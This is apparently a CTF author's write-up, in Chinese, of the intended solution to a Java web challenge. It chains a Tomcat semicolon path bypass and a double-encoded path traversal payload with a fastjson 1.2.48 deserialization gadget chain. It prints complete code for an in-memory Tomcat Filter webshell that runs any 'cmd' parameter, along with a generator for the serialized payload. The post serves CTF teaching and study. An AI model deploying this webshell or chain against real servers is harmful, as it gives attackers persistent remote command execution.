Featured image of post 2026PolarisCTF出题小记

2026PolarisCTF出题小记

Polaris-OA

首先感叹一下ai的强力,这题确实也出的简单了,代码量比较少,ai审计的比较快,而且链子也比较简单,yso上应该也有相关链子能打,考虑到是招新赛就没出太难,还是被ai打烂了(

鉴权绕过

首先是登入界面,有注册功能,可以发现注册后没权限访问其他路由,admin的账密也是无法爆破的,config/SecurityFilter这个类负责鉴权

1
2
3
4
5
6
7
if (requestUrl.contains("../") || requestUrl.contains("..;/") ||
            requestUrl.contains("%2e") || requestUrl.contains("%2E")) {
            response.setStatus(403);
            response.setContentType("text/html;charset=UTF-8");
            response.getWriter().write("Forbidden");
            return;
        }

这里检测目录穿越

1
2
3
4
if (requestUrl.startsWith("/user")) {
            request.getRequestDispatcher(request.getServletPath()).forward(request, response);
            return;
        }

对于user权限的用户,只允许访问/user前缀的路径,然后这里用到getServletPath方法,tomcat解析url路径的时候,会忽略;后面的内容,保留前面的内容

org.apache.catalina.connector.CoyoteAdapter#postParseRequest

image-20260223153901984

然后看这个方法

image-20260223154121238

这里会定位第一个分号的位置,以/api/resource;version=1;color=blue/details这个为例,第一个分号位置在/api/resource后面,接着进行循环,分别提取version=1color=blue,并分别删除;version=1;color=blue,最后的路径为/api/resource/details,然后前面提取的键值对存储到request对象中

其实好像在前面postParseRequest方法的else这里就实现把第一个分号后的内容全删除了(

image-20260223154901991

所以这里只需要构造/user/..;x=1/admin就能被解析成/user/../admin,从而访问admin界面

文件上传

文件上传这里虽然有黑名单

1
2
3
private static final Set<String> FORBIDDEN_EXTENSIONS = new HashSet<>(Arrays.asList(
        "jsp", "jspx", "asp", "aspx", "php", "exe", "sh", "bat", "cmd"
    ));

但是上传这之外的文件,上传后都是uuid名,并且内容被加密

controller/AjaxController里面是解析上传的文件和反序列化的地方,跟进到service/ServiceManager

其实就是上传后的文件通过parseService,进行内容解密,同时将内容进行序列化,生成新的uuid,并且文件名后加上_parsed,反序列化功能也只会反序列化通过parseService解析后的文件

路径穿越覆盖文件

controller/DocController这里的checkIsSign方法,事实上recordId这个变量没有一点用,随便赋值就行

然后是fileList这里存在路径穿越

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
String[] docFileList = fileList.split(",");
            
            for (String docFile : docFileList) {
                String[] fileData = docFile.split("\\$");
                
                if (fileData.length < 2) {
                    continue;
                }
                
                File sourceFile = fileManager.getFile(Long.parseLong(fileData[0]), new Date());
                if (sourceFile == null || !sourceFile.exists()) {
                    isAttachment = "error|文件不存在";
                    break;
                }
                
                String fileName = URLDecoder.decode(fileData[1], "UTF-8");

                File outputFile = new File(sourceFile.getParent() + File.separator + fileName);
                
                String canonicalOutput = outputFile.getCanonicalPath();
                String dataRoot = new File(SystemEnvironment.getBaseDir()).getCanonicalPath();
                if (!canonicalOutput.startsWith(dataRoot)) {
                    isAttachment = "error|路径非法";
                    break;
                }
                
                if (!outputFile.exists()) {
                    isAttachment = "error|文件不存在";
                    break;
                }
                
                FileUtil.decrypt(sourceFile, outputFile);
                
                byte[] bs = FileUtil.readFileBytes(outputFile);
                if (bs.length > 10485760) {
                    isAttachment = "error|文件过大";
                    break;
                }
                
                log.info("File processed: {} -> {}", sourceFile.getAbsolutePath(), outputFile.getAbsolutePath());
            }

这里以$符号作为分界符,实现了将$前的文件解密保存到$后的文件名对应的文件中,然后会对$后的文件名进行url解码并检测路径是否合法,这里限制了文件保存的路径,但是我们可以利用双重url编码构造路径穿越,实现覆盖任意的序列化文件

1
{uuid1}$..%252f..%252fuploads%252f{uuid2}_parsed

反序列化

image-20260223173850956

这里直接用了readObject可以反序列化

利用

查看pom.xml,可以发现fastjson1.2.48,这里可以选择打fastjson原生反序列化,用的是EventListenerList#readObject->JsonArray#toString->TemplatesImpl#getOutputProperties这条链

题目预期是不出网的,所以打内存马,这里打Filter内存马

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;

public class EXP extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "MyFilterVersion" + System.nanoTime();
            final String URLPattern = "/*";

            WebApplicationContext context1 = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            ServletContext servletContext = context1.getServletContext();
            Field declaredField = servletContext.getClass().getDeclaredField("context");
            declaredField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext);
            Field declaredField1 = applicationContext.getClass().getDeclaredField("context");
            declaredField1.setAccessible(true);
            StandardContext standardContext = (StandardContext) declaredField1.get(applicationContext);

            Class<? extends StandardContext> aClass = null;
            try {
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            } catch (Exception e) {
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
            Field Configs = aClass.getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            EXP behinderFilter = new EXP();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }


    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        HttpServletResponse response = (HttpServletResponse) servletResponse;
        if (request.getParameter("cmd") != null) {
            try{
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                response.getWriter().close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

然后生成序列化文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package test;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;


import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Vector;

public class Poc {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
//        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{Repository.lookupClass(EXP.class).getBytes()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);
        EventListenerList listenerList = getEventListenerList(jsonArray);
        fileSerial(listenerList);
        fileDeSerial();
    }
    public static EventListenerList getEventListenerList(Object obj) throws Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);
        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
        return list;
    }
    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
    public static void fileSerial(Object o) {
        try {
            FileOutputStream barr = new FileOutputStream("ser.bin");
            (new ObjectOutputStream(barr)).writeObject(o);
        } catch (Exception e) {
            System.out.println("Error: " + e);
        }

    }

    public static Object fileDeSerial() {
        try {
            FileInputStream fileInputStream = new FileInputStream("ser.bin");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            return objectInputStream.readObject();
        } catch (Exception e) {
            System.out.println("Error: " + e);
            return "Failed";
        }
    }
}

先上传一个正常的文件

image-20260223175743939

解析得到序列化文件的uuid

image-20260223175816831

接着上传我们的恶意序列化文件

image-20260223175914379

然后利用docController的功能实现文件覆盖,把正常的序列化文件覆盖掉

image-20260223180026588

最后反序列化植入内存马

image-20260223180102540

查看回显

image-20260223180215734

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计